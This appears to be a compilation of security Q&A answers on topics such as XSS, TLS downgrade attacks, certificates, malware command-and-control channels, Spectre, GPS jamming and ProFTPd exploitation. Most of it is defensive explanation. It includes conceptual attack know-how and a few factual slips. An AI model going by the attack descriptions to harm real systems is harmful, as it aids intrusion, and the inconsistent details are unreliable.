why is it insecure to use userdata in url parameter names?

In the scheme, an attacker could use the javascript protocol to perform XSS:

click

The data protocol could also be used in attacks.

Apart from that, OWASP is not really talking about domain or parameter names here, as this guide is strictly about defending against XSS in different contexts. Depending on your application, you might still want to have control over it though, but that's not relevant to XSS.

Regarding XSS, parameter names are not special and can be treated the same way as parameter values. OWASP probably does not mention them explicitly because user-supplied parameter names are not very common.


How simple a password could be when the only account data is the email address?

Perhaps the best way to think about this is, if an unauthorized user figured out a username and password and logged in, how bad would it be? If your statement is true:

  the only data stored on the user account is his email address.

then this implies that once you are logged in, the entire site is read-only. In other words, authenticating gives you access to certain content that is otherwise not available to the public. If that content became public, would you lose sleep over it? If not, then it probably isn't a big deal from a security standpoint of your site to allow simple passwords, since you have nothing to protect.

That being said, here are some reasons you shouldn't allow easy passwords even if it meets the above criteria:

Above I specifically emphasized the security "of your site" because your site may be safe, but you also want to protect your users. If an attacker is able to guess a user's easy password, they have possibly learned something about the user. Perhaps the person uses that same password on another website, or as the password for their phone, etc. This information in the hands of an attacker could potentially harm the user. Note you can get around this problem by creating passwords for them instead of letting them choose their own.
If an attacker doesn't know any email addresses, having simple passwords makes it easier to guess an email/password combination, and thus discovering email addresses. (This is the exact reason why website login errors should not say "The email address was not found", but rather, "The email/password combination was not found". You want to protect against attackers trying to mine emails.)
What if in the future you decide to add functionality to the website? For example, you may want to allow people to post comments or "like" something. Then you would be storing data specific to a person and you'd have more to protect, and it could be a hassle to change your password system once the site is rolled out and used by many people.

In summary, I agree with crovers. I'd also recommend using strong passwords or a different authentication method.


Decoding base64 encoded message with a key

Base-n systems have n different symbols in their alphabet. Base 2 is just ones and zeros, base 10 has 0 through 9. Base 64 has 64 unique characters, as defined in its RFC.

If you see a 64-character long base64_custom_key field, I would guess that's the alphabet you have to use. I'll do an example.

The normal alphabet is A-Z, a-z, 0-9, + and ,. If the base64_custom_key contains ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+, then you have to do nothing because that's the original. But because the original does not decode properly, I guess that's not it.

If base64_custom_key contains ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123459876+, (everything normal, except the 9876 part), you might have to replace 9 with 6, 8 with 7, 7 with 8 and 6 with 9, and then run the decoder. The base64 encoding of zzz is enp6, but with this custom key it would be enp9. To decode it, we need to replace the 9 with a 6 as described, and you can then decode that normally.

Does that make sense?

It might not work, I'm just guessing what this might mean and how you might need to use that custom field. It's certainly non-standard and not a secure system, if it was intended for encryption at all (though I can't imagine another purpose).


Questions about "Triple Handshakes Considered Harmful Breaking and Fixing Authentication over TLS"

Meta: SE policy is generally against multiple questions in one post. But here your second question is a duplicate of Triple handshake attack against TLS which I already answered, leaving one open question.

The wording in the glossary of rfc 5246 (and its predecessors) may be a little lazy, because you are expected to pay attention to the whole document. The actual point is that a (TCP) connection is associated with one TLS session at a time. The time sequence is:

To start TLS/SSL, you make (or sometimes already have) a TCP connection and either do a full handshake to create a new session or do an abbreviated handshake to resume an existing session (if there is one available). After that initial negotiation, all the data transmitted and received is encrypted (unless eNULL) and authenticated using keys derived from the master_secret for that session (plus current nonces), and should be treated by both sides as having the security (and other) parameters of that session: master_secret, algorithms, server authentication usually, client authentication if used, and TLS-level compression if used, which was never very popular and after CRIME is often prohibited completely.
Any later time during the same connection, if both endpoints agree, you can do another handshake called renegotiation on the same connection. This renegotiation again can be a full handshake that creates a new session or an abbreviated handshake that resumes an existing session. In the resumption case it may resume the same session that was in use before the renegotiation, or it may be a different saved session. Once the renegotiation is done, subsequent data uses the keys and parameters of the session selected by the renegotiation, usually though not necessarily different from the session from the initial handshake.
At a still later time you could do a second renegotiation, again with the same features. After that, data uses the keys and parameters of the session selected by the second renegotiation, probably different from the session(s) from the first renegotiation and the initial handshake.
Et cetera, et cetera, et cetera.

After terminating one connection, you can make another connection that again can either create a new session or resume an existing one, if it is available; often endpoints drop a session after a time limit like 5 minutes or 1 hour, or if they run out of space, or have an error. And again, and again. You can also make several connections concurrently, each of which can either create a new session or resume an existing one. And after terminating them, you can make more, ditto.

Nowadays renegotiation is usually done when one party, usually the server, wants to change the security parameters, such as to do client authentication which was not done on the initial handshake (or prior renegotiation). In order to change security parameters, the renegotiation must be a full handshake.

But the protocol allows the renegotiation to be an abbreviated handshake that resumes a session. The only obvious valid reason for this is if you have encrypted enough data under one working key set that you want to generate new working keys, traditionally called rekey[ing]. With CBC mode it's best practice not to exceed the "birthday bound" of sqrt(2^blocksize) blocks under one key, and for 3DES (and DES in the years before it was obsoleted) this is 2^35 octets or 512GiB. With modern networks under sustained load you might reach this volume, and want to rekey, in about an hour or maybe less, and even under lesser load this could easily occur in days or weeks.


What use does verifying a file with a signature downloaded from the same server have?

It would be possible for a hacked website to host a fraudulent key that has signed a fraudulent piece of software, however, one could verify they have the correct key from other places on the internet, and many time these signing keys are signed as valid by somebody else. Once they are confirmed as valid, they will be used for years into the future until the key expires or the certificate is revoked. These keys many times are available on a key server as well, available with a verification signature, or you might already have the key in your keyring ahead of time as previously mentioned. Also, if an attacker did this, it would be an unexpectedly used key, versus every other time they signed software, which would be very noisy and detectable. It would mainly be an attack on everyone who didn't already have the real key.

Since there is a wide array of places the public key can be verified and acquired from, it is much less likely that someone will receive and use a bad public key, and if this attack succeeded, it would be very short lived.


What is the difference between serial number and thumbprint?

In a certificate, the serial number is chosen by the CA which issued the certificate. It is just written in the certificate. The CA can choose the serial number in any way as it sees fit, not necessarily randomly (and it has to fit in 20 bytes). A CA is supposed to choose unique serial numbers, that is, unique for the CA. You cannot count on a serial number being unique worldwide; in the dream world of X.509, it is the pair issuerDN+serial which is unique worldwide (each CA having its own unique distinguished name, and taking care not to reuse serial numbers).

The thumbprint is a hash value computed over the complete certificate, which includes all its fields, including the signature. That one is unique worldwide, for a given certificate, up to the inherent collision resistance of the used hash function. Microsoft software tends to use SHA-1, for which some theoretical weaknesses are known, but no actual collision has been produced (yet). A collision attack on SHA-1 has now been demonstrated by researchers from CWI and Google.

(The thumbprints you show appear to consist of 40 hexadecimal characters, i.e. 160 bits, which again points at SHA-1 as the plausibly used hash function.)


Disk Erasing Security - Odd Number of Writes

The 7 and 35 passes very probably come from the paper "Secure Deletion of Data from Magnetic and Solid-State Memory" by Peter Gutmann. There, he described various overwrite patterns targeted at specific hard drive write encodings.

However, the paper, and the 35 passes, are now obsolete, as they were for old hard drive technology, as even the author readily admits. Nowadays, to delete a disk, a single pass with zeroes is enough. Even better, use the SECURE ERASE feature of all modern drives.

For more discussion see the Wikipedia article on the Gutmann method.


You can try nmap with nmap -sV, who is much more intrusive when searching for services.


Is it safe to use a PHP script to load a Base64-encoded PNG?

It isn't safe to use URLs longer than about 2000 characters. While the URL RFC doesn't specify any particular limit, most browsers limits the number of characters in a URL to less than 2000 characters.

Another problem is that using base64 is very space inefficient, as you'll be encoding three bytes with four bytes. This means that the maximum size of image you can practically attach reliably o most browsers is less than 1.5 KB.

You also have to consider that running this service will make your webserver log files fill up really quickly, as it'll be logging the entire URLs. It may be possible to truncate/hash the logged URL, but that'll make troubleshooting issues more difficult.

Appendix:

Unless you want to actually edit the image data, your implementation can just echo the image data, no need for imagepng():

<?php
if(!isset($_GET['x'])) {
    die();
}
$image = base64_decode($_GET['x']);
header ('Content-type: image/png');
echo $image;
?>


Does TLS_FALLBACK_SCSV provide blanket protection against downgrade attacks?

TLS_FALLBACK_SCSV fails to protect against Logjam for the same reason that Logjam actually works. That anti-fallback mechanism relies on the client putting it in the ClientHello, and being ultimately part of the input to the hash function that computes the final Finished message. This works only as long as the active attacker cannot break the handshake crypto immediately, and fix in real-time the Finished message contents. But that is exactly what happens with Logjam: the attacker modifies the ClientHello message to include the export RSA cipher suite as part of the client suites, so that the ClientHello that the server receives is not what the client sends. While he is at it, the attacker can also modify other parts of the ClientHello and the ServerHello that comes back as answer, e.g. to modify the advertised maximum version (from TLS 1.2 down to TLS 1.0) and to remove the TLS_FALLBACK_SCSV.

Things go that way:

Client sends a ClientHello that says "TLS 1.2, can use DHE-RSA, TLS_FALLBACK_SCSV".
Attacker changes that into a ClientHello that says "TLS 1.0, can use only DHE-EXPORT-RSA, no TLS_FALLBACK_SCSV".
Server responds with a ServerHello that says "ok, TLS 1.0, DHE-EXPORT-RSA, no fallback".
Attacker again changes that into a ServerHello that says "ok, TLS 1.2, DHE-RSA, your anti-fallback was seen and well processed".
Server sends the export DH parameters, duly signed, with a 512-bit modulus. The attacker let them flow as is to the client.
The client expects "normal" DH parameters, but they are indistinguishable from "export" DH parameters, except for the modulus size, and the client is totally happy with doing weak DH if the server appears to want to do it (apparently, some Safari versions even agree to use a 16-bit modulus...).
The handshake continues, using this 512-bit modulus that both client and server agree to use (though one of them thinks of it as "export" and not the other).
The attacker breaks it right away (thanks to its small size and predictable modulus), and thus obtains the session key that client and server use.
At the end of the handshake, both client and server computes the Finished messages that they should send and that they should receive. They saw distinct handshake messages (the attacker modified the ClientHello and the ServerHello) but the attacker has, at that point, the encryption and MAC keys, so he can decrypt, patch and re-encrypt the Finished messages at will to maintain the illusion.

Summary: TLS_FALLBACK_SCSV is an "anti-downgrade" mechanism, but it covers only the protocol version, and, more importantly, it works only as long as the downgraded handshake is still resilient to immediate and total breakage. This was fine for POODLE, where the attack occurs only after the handshake, when encrypted messages are sent. But not for Logjam.

As for FREAK, it is roughly the same, except that it relies on a further bug in the client implementation: the client must accept to use an ephemeral key sent by the server even though, from the point of view of the client, no such key should be sent since the client did not ask for an export RSA cipher suite (there is no non-export RSA cipher suite in SSL/TLS that still uses an ephemeral RSA key pair).

While it is tempting to state that the problem is a "protocol flaw" and lies in the fact that the export DH parameters are indistinguishable from non-export DH parameters (this is the point of view of the Logjam attack authors), my own analysis is that the true problem is the client and server both accepting to use weak crypto -- the server by willingly supporting DHE-export, the client by accepting to do some DH with a way too short modulus.


How hardware firewall knows if its an inbound or outbound request?

Since there seems to be some confusion about the terms inbound, outbound, stateful and stateless, allow me to explain how they all relate to the concept of firewalls.

What is an inbound packet?

An inbound packet is a packet that enters a network. For example, if 198.51.100.23 would like to communicate with an internal web server 10.100.22.161, the request will be considered an inbound packet.

What is an outbound packet?

An outbound packet is a packet that leaves a network. If we take our previous example, the response from the internal web server 10.100.22.161 to the client somewhere on the internet at 198.51.100.23 will leave our internal network, and is therefore an outbound packet.

What is a stateless firewall?

A stateless firewall is a firewall that looks at each inspected packet in isolation - at least on the OSI layer it is designed to inspect.
For example, a simple firewall rule could be "Allow every incoming packet to the subnet 10.100.22.0/24 to port 443". The firewall does not know what the content of these packets is, nor does it care what packets came before.
All it does it look at its rules, matches them to the packet, and then executes whichever action is attached to the rules.

What is a stateful firewall?

A stateful firewall is a firewall that has some internal state related to what has happened before. For example, you might want your server to be able to communicate with clients, but only if they send a request first.
In order to do that, the firewall has an internal state of how the network traffic around it is like. It knows which clients have opened connections to which servers, and how long ago these connections are.
A simple stateful firewall rule could be "Allow every outbound packet from the network 10.100.22.0/24 on port 443, but only to clients who have an active TCP connection already".


A male cardholder using a card with a clearly feminine name would be a potential flag. Other than cardholder gender, though, there isn't much you can do to verify non-fraudulent transactions. As a merchant you do not have access to the full history of purchases the CC company does, and purchase record analysis is how most fraud is detected.

Generally speaking, if a criminal group is going to the trouble of cloning credit cards to be used at a human-operated POS, they will go to the trouble of making them convincing. The detail work on a credit card is less intensive to replicate than the magstripe.

Brian Krebs has numerous entries on credit card skimmers and monetization of stolen/cloned credit cards. Most of his information isn't germane for your situation, but sifting through what he has written might give you some ideas.


How to Check for Dangerous Authority root Certificates and what to do with them?

Yeah, that looks fake to me, I agree with your link. These lines in particular are suspicious:
Google
  Cert Issuer:    Google
  Algorithm:  sha1RSA
  Valid from: 0:05 22.07.2015
  Valid to:   0:05 21.07.2020

Let's dissect this and compare it against the cert presented when I browse to google.com.
Root CA
What you posted is a self-signed Root CA cert, we can tell because the subject and issuer are the same
Google
  Cert Issuer:    Google

Google does now own their own Root CA; it looks like they have an intermediate CA off a GeoTrust root:

Algorithm
Algorithm:  sha1RSA

Yeah, that's wrong. Google has been waging war to remove SHA1 from the internet since about 2015: as of January 2017 Google Chrome browser no longer displays the green lock icon for SHA1 certs, and in February 2017 Google researchers demonstrated the first publi collision attack against SHA1. So yeah, there's no way in hell Google would issue themselves a SHA1 cert in 2015 and continue to use it until 2020.
For comparison, the real Google Internet Authority G2 uses SHA-256 With RSA and renews it cert every year and a half (currently valid from May 2017 to Dec 2018).

Advice
I would delete that cert from your trust store, and see if anything stops working. Keep running regular virus scans out of fears that your system is already compromised. If that cert (or ones like it) show up in your trust store again, it might be time to wipe your hard drive and re-install the OS.
Update
In response to the extra info you posted:
Subject: CN=Google, O=Authenticode, L=Silicon Valley, C=US

LOL! Yeah, that's completely bogus. Here's how Google actually identifies itself in a certificate:
CN=*.google.com, O=Google Inc, L=Mountain View, ST=California, C=US


Content-Security-Policy: Getting weird reports with frame-ancestors 'self'

Why is the "original policy" altered ('self' vs. https://www.lidl.de)? Does this make any difference?

'self' in the CSP actually stands for "same domain". It is just a placeholder, so this is evaluated by browsers to, in your case, https://www.lidl.de. That's exactly what you say the directive should do, it is just written in another way. So no, it does not make a difference.

  Why is this report sent? I can't reproduce it.

I am nearly sure that in 90% of these cases the answer is: browser add-ons. If you really cannot reproduce it with a clean profile and same browser/same site, it is very likely just a browser extension injecting respectively trying to inject some stuff. That is a very common source/trigger for CSP reports.

However, as it is the frame-ancestors directive in your case, you may easily be able to reproduce it. Just create an iframe trying to embed your site:

<iframe height="500" width="500" src="https://www.lidl.de"></iframe>

That should fail, and trigger the CSP report. Because that is what clickjacking is about: Your site getting embedded in another site, in such a way the user does not see it and clicks on things, the user did not want to click on.

I know Report-URI has some filters to prevent such reports caused by browser add-ons, but they still cannot catch all of them.

BTW:

  The part with frame-ancestors is to protect against clickjacking.

It does, but you may actually (better, or, even better: additionally) use the header X-Frame-Options for that purpose. This header was designed for that, and also works with browsers, who do not support CSP (it is older, in any case). See the security headers scan from the same author as Report-URI for more details. While you are at it, you may also have a look at the other security headers.


Could “receive SMS online” site be a scam?

The service makes all SMS they receive available to any internet user. That means any confidential information you receive via SMS is compromised.

Many websites which use two-factor authentication via SMS also use SMS to communicate other confidential information to you. This information isn't confidential anymore in this case. They might, for example, also use SMS for password recovery. That means it might be possible to hijack your account by clicking on "forgot password" which might offer a "send new password to my cellphone" option. The attacker could then monitor the online sms service for the new password.

Looking at the SMS one of their numbers received in the last hours, most of the messages allow to guess the website they came from, but they lack the context necessary to find out to which account they belong. To abuse the information one would have to link them to some account somewhere. However, you can not know what the service you want to register on sends you. When the message includes a username, the account is pretty much compromised.

You asked about what the sms service could do should they be evil. The website you registered to using their number believes that their number is your number, so they might regard some commands they receive from that number as authentic. What options this gives them depends on the website.


Is Orbot android TOR client compromised (permissions to device ID and caller information)?

Thanks for asking and caring. We understand users can be alarmed by new permissions request, and should have done a better job of explaining what they are for.

From here: https://twitter.com/guardianproject/status/873045668369055744

"Orbot asks for new permissions that are only used if you enable the Hidden Service features."

More details are coming. This only really effects you if you are on earlier versions of Android, that don't allow you to "deny" permissions when they are requested.


Can a Bitcoin miner generate SHA2 hashes on arbitrary data?

Do bitcoin miners(or some of them) accept customizable inputs and hash them in bulk(instead of accepting some more high-level instruction and do mining works automatically)?

Bitcoin miners generally take a parameter called "target" and "header" and return a nonce+overflow.  I don't think it's possible to hash X times, resulting in predictable output (e.g. you want to compare hashes).  The Bitcoin game is one of "finding a lower number" and "hash as fast as you can until you do".

Yes, Bitcoin is literally comparing the SHA2 output of two values as a BigInteger and should only return when this is found.  (maybe what you need is possible, but I would think this feature would introduce inefficiencies for the Bitcoin game and would be undesirable)

Here is what goes on inside bitcoin miners:

Note: step 3 and 4 is Bitcoin Hardware, the rest is your custom driver software

Step 1

At a high level, the miner software takes a list of active transactions, and then groups them together in something called a "block".

Or more accurately stated: The miner software coverts all the transactions into a summary view called a  "merkle root", and hashes it, which is representative of the transactions.

Step 2

Then mining software converts this to into a binary format called a Block Header, which also references the previous blocks (also called a chain).

Field           Purpose                          Updated when...               Size (Bytes)
Version         Block version number             You upgrade the software and   4
                                                 it specifies a new version

hashPrevBlock   256-bit hash of the previous     A new block comes in          32
                block header
hashMerkleRoot  256-bit hash based on all        A transaction is accepted     32
                the transactions in the block

Time            Current timestamp as seconds     Every few seconds              4
                since 1970-01-01T00:00 UTC

Bits            Current target in compact format   The difficulty is adjusted   4

Nonce           32-bit number (starts at 0)       A hash is tried (increments)  4

Step 3:

The miner hardware changes a small portion of this block called a "nonce".

Step 4:

The block header is hashed and compared to the Target as if it were simply a large number like 10,000,000 > 7,000,000  (the real numbers are much bigger, and in hex).  The target is compressed and stored in each block in a field called bits.

An expanded target looks like this:

  Target   0000000000000083ef00000000000000000000000000000000000000000000000

And the goal is to make sure the SHA256 hash of the block is less than this value.  In the example below "83ee" is smaller than "83ef"

To simplify this concept, you can ballpark the target by counting the leading zeros (as the other answer here explains).  Here is an example:

Here is a sample block with transactions you can view on BlockChain.info. Look in the upper right hand corner of the webpage for this hash:

   Hash 0000000000000083ee9371ddff055eed7f02348e4eda36c741a2fc62c85bc5cf

That previous hash was from today and has 14 leading zeroes.  Let's compare that to what was needed 3 years ago with block 100 which has 8 leading zeros.

   Hash 00000000a8ed5e960dccdf309f2ee2132badcc9247755c32a4b7081422d51899

Summary

So at the end of the day, all a miner does is:

Take a block header as input
Change the Nonce
Test if the Block Header hash is less than the Target.  If it is, you win.
Go to step 2  (or go to step 1 if someone else won the block)


What would it take to attack or disrupt the GPS system over a wide area?

Traditionally as GPS was an american military system, it was intended to be possible to disable it in times of war, by removing the unencrypted civilian signals.  Also in the earlier days Selective Availability could be used to render it inaccurate.

However the situation is different now as there are multiple systems controlled by different countries, GLONASS from Russia, BeiDou from China and Galileo under development from the EU.

As such disabling by switching off the signal is unlikely to affect all the available services, which would make country-wide jamming problematic.

As to more localised jamming that's perfectly possible as the signal for GPS type systems is pretty weak and all that's theoretically needed is a transmitter which swamps the signal in an area.  On a small scale there's evidence to suggest that truckers use these to disable employer tracking of their movements.


Have you tried Wikipedia?
In short, the malware (A) needs to connect to (B).
This can be done using many different methods.

The easiest (in my opinion) to setup is by using the HTTP (Webserver) protocol.
You make a simple web server with short PHP scripts that handle the incoming requests. You send/ask for requests by using sockets (for example) the Windows API.
Countermeasure: Blocking this specific domain/IP Address in your firewall. I should mention that malware often has multiple server addresses hard-coded into its source to countermeasure this countermeasure. If you're working at a security company/government the countermeasure would be contacting the host-provider to take down that website, or in some cases even hack the server.

Another much used is by using IRC chatrooms. You create a secured and private IRC chatroom, and than you can 'chat' with your malware. In other words, you send a command into the chat-box, and the malware ('reading' the chat messages) will receive the commands and execute them. IRC is mainly used because of simplicity and its low bandwidth requirements.
Countermeasure: Block specific TCP ports like 6667 (specific to IRC), again I should mention that IRC tries other ports as well if 6667 is blocked.

What also is often used is P2P (Peer-to-peer), you use your own connection/computers as a C&C server. The malware communicates directly with your network to receive commands.
This is what you most of the time use with frameworks like Metasploit.
Countermeasure: Here the IP of the attacker would be static, so simply blocking that IP should work. Again, if you're working in a security company/government, you can log the IP and with luck you have the IP of the attacker. The attacker could also use a VPN allowing port-forwarding, but then it isn't real P2P anymore.

As you see, your firewall is important.


The core of the Spectre attack is to use mis-training of the CPU's branch predictor to cause the CPU to speculatively branch to an attacker-selected fragment of code while executing the target program, then observe indirect effects of running that code.  This is only possible because current CPUs share branch-predictor state across all threads running on the computer.

It is possible to write x86/amd64 code that is immune to Spectre by inserting instructions that prevent speculative execution after each branch (eg. the cpuid or mfence instructions), but this comes at the cost of a fairly severe loss of performance, and can only be applied to new software.

A CPU that permits flushing the branch-predictor state could be made immune to Spectre by resetting the state on each context switch (at the cost of some performance).  Neither Intel's nor AMD's implementation of the x86/amd64 architecture appears to have such an instruction (yet), but I expect it to show up in a few years.  This would have far less of a performance impact than preventing speculative execution, because even an uninitialized branch predictor is about 70% accurate.


Looking for [intentionally made] vulnerable applications suitable for practicing different penetration techniques (NOT a web apps, user side ones)

You should look into CTF problems.  For instance I know picoCTF has a ton of binary exploitation problems, web exploitation challenges, crypto problems, etc.  It's a high school competition (which  actually ended just yesterday), but anyone can create an account and access the problems.  The problems will remain online indefinitely.


What does a TPM have in common with smart cards?

Both smart cards and TPM are computing environments that can store cryptographic keys and perform cryptographic operations, and performing cryptographic operations involving keys that they store is their primary purpose.
If your operating system supports TPM, it will offer to store keys and passwords inside the TPM and to perform operations on those keys. The interface to do this is often considered a smart card interface because smart cards were the first commonplace type of device that could do this and there isn't a commonly accepted generic term for “computing environment with its own key storage that can perform operations involving these keys”. But see What are the differences between HSM and SE? about terminology.
The advantage of having the smart card or the TPM perform these cryptographic operation is that the keys are better protected than if they were stored on the PC. The isolation between the TPM/smartcard and the main CPU makes it harder for a software vulnerability to expose the keys, and depending on the degree of physical isolation of the TPM, it may be resistant against physical attacks as well (for smart cards, resistance against physical attacks is part of the definition).
The first TPM were physically separate chips soldered on the motherboard of a PC, next to the main processor and other chips. TPM chips often have a design that is similar to a smart card chip. Today a TPM may still be a separate chip, or may be a separate processor inside the same physical chip as the main CPU, or a logical environment inside the main chip, roughly in decreasing order of both security and cost. A TPM can also be a piece of software running in a hypervisor, serving as a TPM for a virtual machine.
A smart card is a removable device: you plug it into a computer (or pass it near a computer if it's contactless), and that computer can make requests to it. A TPM is attached to the motherboard of a PC (the virtual motherboard for a virtual PC environment in a virtual machine). Because the TPM is permanently attached to the computer, it can do things beyond storing keys for the user.
In particular, the TPM can read the computer's memory and the processor state. This is called “measuring” in TPM literature, and the output of the measurement is basically a cryptographic hash of the content of the relevant memory. It can produce an attestation of that state, which is a signature of the state made with a key that is only available inside the TPM. The computer where the TPM is running can send this attestation to a server to prove that it is running in a particular software configuration. This is used on secure networks to ensure that only authorized computers running authorized software can connect to the network. The TPM can also store a description of the expected states (the expected hash values) and authorize certain functions only if the computer is in an expected state, for example to disclose the hard disk encryption key only if the boot code is the pre-programmed boot code and not if the boot code has been modified.


This is exactly what the robots exclusion standard is for. You put a text file at the well known path /robots.txt, and compliant web crawlers will obey it. In particular, you can exclude specific crawlers, or exclude specific paths and resources from being crawled. This will effectively make your website "invisible" to standard search engines. Of course, spambots won't necessarily obey the exclusion policies you set up, so it will not protect you from misbehaving bots.

To prevent any bot from crawling any page on your site, you would use:

User-agent: *
Disallow: /


Could modded versions of Kik messenger pose a security threat to other Kik users?

There is no indication they were spying on you. All information they had was publicly available. Saying they know your IP address is like saying they know your phone number after you called them. I mean yeah, you'd have to have a phone with a display to know the callers number, but that's not exactly a hacking tool.

Your IP address is no secret. To the contrary, everybody you connect to on the internet has to know your IP address, otherwise you cannot send or receive anything.

So can a random guy who tells you they know the equivalent of your phone number really hack you? Nobody knows. But it seems unlikely. Just imagine you get threatened by someone telling you "I know your phone number". That's not a credible threat for anybody knowing anything about phones. Sounds like someone played you.


If this were a denial of service attack, you'd be seeing those 15k messages covering less than an hour -- probably far less.  This is just the botnet-based brute-force attack on SSH passwords that constitutes part of the "background noise" of the Internet.

Make sure you're using strong passwords (or better yet, key-based authentication) and that you've disabled root login over SSH, and don't worry about it.


Does the US government protect its physical internet lines in the US?

Physical surveillance of millions of miles of buried cables would be preposterously expensive. The US government already fails at efficiently preventing illegal immigration across the Mexican/USA boundary, which is one or two orders of magnitude shorter than the total length of cables.

Instead, US government does things like everybody else: with encryption (or so we hope, at least). A good encrypted tunnel (e.g. SSL) keeps attackers at bay.

Encryption ensures confidentiality. A good tunnel also provides data integrity, in the following sense: alterations are reliably detected. However, if an attacker uses a shovel to get to the cable, he can cut it (it has happened). To make communications more resilient, one must use redundancy; see this answer (when the attacker wields nuclear weapons, you have to think big in terms of redundancy).


What happens if you upload code with a file extension that a website permits (PNG for ex)?

Anything can happen and what exactly happens depends on the server side code of the web application. Some believe in extensions, some believe in the content, some can be tricked with polyglot attacks, ... Thus in the best case nothing happens or you get an error because content is not allowed and in the worst case you can execute code on the server.

If done right any user generated data should be considered a possible attack by the server and thus handled with lots of care. But in practice servers can often be exploited because they trust user generated data too much. This includes but is not limited to trusting the file extension. Current example:trusting an image upload (imagetragick).


Comparing two Linux system clones - what about non-regular files?

1) Hurpose of character devices on disconnected hard drive - system is not running, I thought that these files are created by system when it’s running (like files in /prod and /dev) and the purpose is to interface with the system, not to store data

While /proc is completely generated by the kernel, /dev does have some real contents. While a devtmpfs does usually get mounted over it, early boot tasks that run before that happens need some of the devices. Even though character devices are to interface with the system, they still exist on disk; they just don't store their contents there.

  2) How am I suppose to compare it? I can compare standard file (bit by bit), I can compare directory names and I can compare symbolic link (by comparing targets) but I have no idea how to compare this.

Compare the major and minor device numbers (e.g., 1, 3 for /dev/null). If two character device files have the same device numbers, then they point to the same device and can thus be considered identical. If not, then they point to different devices and should be considered different.


Shared clipboard on Linux without keylogging, etc. vulnerabilities?

There are some work being done in this direction. Some links/ideas that could help you:

The OS qubes [1]  tries to fix it, using domains and in each isolated domain, you have a dummy X. It supports clipboard.

Others solutions[2]  are being proposed to solve it.. however I don't know how it supports clipboard.

SELinux sandboxes[3] could be used as well. It very similar with OS qubes, but the main difference is that it uses the kernel to enforce isolation. Qubes uses XEN. First time that I tested, I wasn't able to copy and paste, but searching again, looks like it was fixed

References

[1] https://www.qubes-os.org/doc/copy-paste/

[2] https://wiki.gnome.org/Projects/SandboxedApps

[3] https://www.linux.com/learn/tutorials/382226-run-applications-in-secure-sandboxes-with-selinux


How do mobile apps prevent HTTPS MITM attacks when the user installs the attacker's CA certificate?

Public key pinning absolutely can prevent MITM even with a trusted CA certificate.  The whole point of pinning is that the application knows exactly which certificate (hash, issuer, etc) to expect.  Even though the trusted CA can generate a "valid" certificate for the domain, it won't be the exact certificate that the application is looking for, so it will reject it.


How to control program permissions and resources in Windows

The security model of mobile and desktop OS are very different and so you typically have very different levels of control.

Typically, on a desktop OS, you would restrict access based on the security principal associated with the security context (this typically means: the user and the user's session) while on a Mobile OS, you restrict the programs themselves.

This means that it's typically hard to prevent some specific program running under windows to do things that are allowed for your user account: if you have the right to write to a file, any program you run from your user session will have that same capability. (This is not completely true since things process integrity level can restrict access further but it's close enough for this answer).

Using a modern version of Windows, you can control the following (non-exhaustive list):

Per user access securable resources (files, folders, registry and a slew of other more specialized objects).
Per process and per user access to IP network resources based on IP address, IP protocol, TCP/UDP port number (and a few other things like ICMP message type).
In addition to all this, you can (somewhat) restrict which which user can run what program both by restricting ACLs to the program's executables and through AppLocker.

(limiting access to CPU resources is possible but delicate. you usually need third party software to do so if adjusting the process priority isn't enough for your need).

There are several mechanism that can improve on that but they all have various requirements and capabilities so which one you might decide to investigate will depends on your exact requirements. Some can be combined together to better tailor the solution to your needs:

Running a program in a VM will isolate it from the host OS almost completely. It is, however, quite resource intensive and could be complex to implement.
Running the program in a sandbox can provide some limited isolation from your "main" OS session as well, although far less than using a full VM.
Adding a proxy or firewall to your network stack and forcing all access through it will provide you with the ability to limit what network resources you can access. Tailoring that access control by process is, however, delicate: under windows you can create firewall rules per process but it is basically limited to filtering IP protocols and TCP/UDP port number. Some firewall/proxy are able to perform much more complex filtering but they typically work at a global level and cannot easily be adjusted based on the process itself.


How to have both TLS and Time Stamp Signing for data?

You don't provide an actual use case but my guess is that you want to use TLS to transfer data which have a cryptographic time stamp. In this case you need to first time stamp the data and then transfer these. You can also transfer the same time stamped data again and again within multiple TLS connections and the TSA signature stays the same and is still valid.

Time stamping the TLS traffic on the other hand does not really make sense. Since multiple transfers of the same data via TLS would result in different byte streams (since a different key and/or sequence number is used) the time stamp could only be valid for a single transfer.


How to save the random salt to the database

You're salt is saved in the hash generated by your crypt() function. To verify the password all you need to do is:

$res = crypt($password, $hash);

$res will return 1 if the password is correct.

You need to save the password hashed, so yes.
Nope this is already contained in the string you generated (if you look closely you can see that the hash is actually delimited in several sections)
Salts are never considered secret so that's not a problem
Refer to 2.
They will be different because the salts will be different

Your SQL injection prevention is not considered secure, more details about that can be found here SQL injection that gets around mysql_real_escape_string() on Stackoverflow and yes you should always sanitize variables before processing them. There are tons of resources available on this website about how to prevent SQL injection correctly. In general you shouldn't be using mysql_ functions in PHP. PHP has some nice tools which handle all these problems for you like MySQLi and PDO. Also have a look at stored procedures.


How to protect from wannacry on home wifi network

WannaCry  spreads using windows SMB. One should be able to disable this completely. However i recommend you to update your system. You wont win the hacking race against thousands of people alone...

Checklist:

Block external access to the smb port at the router (139, 445).
Disable smb if not necessary

https://support.microsoft.com/de-de/help/2696547/how-to-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and-windows-server

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/

The usual anti- spam stuff
the usual mail/browser hardening


PHP code in filename located in /tmp folder. How worried should I be?

It seems that someone is using this exploit:

ProFTPd 1.3.5 - File Copy

https://www.exploit-db.com/exploits/36742/

Here is also CVE-2015-3306:

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3306

Check your proftpd version proftpd -v, if it's still old version then update to 1.3.6rc1. If you want something better, then consider to use sftp and not ftp.


No, it's not currently possible to get the URL of the image as Shodan doesn't store that information. Not all images are collected from services that have URLs (ex. RDP). Note that the actual screenshot image is stored in the data property. Here's a sample screenshot JSON object stored in the opts.screenshot property on the banner:
{
    "data": "/9j/4AAQSkZJRgABAQIAJwAnAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQO...",
    "hash": 29478602,
    "labels": ["windows", "login", "desktop"],
    "mime": "image/jpeg",
    "text": "am Windows Server 2012R2"
}

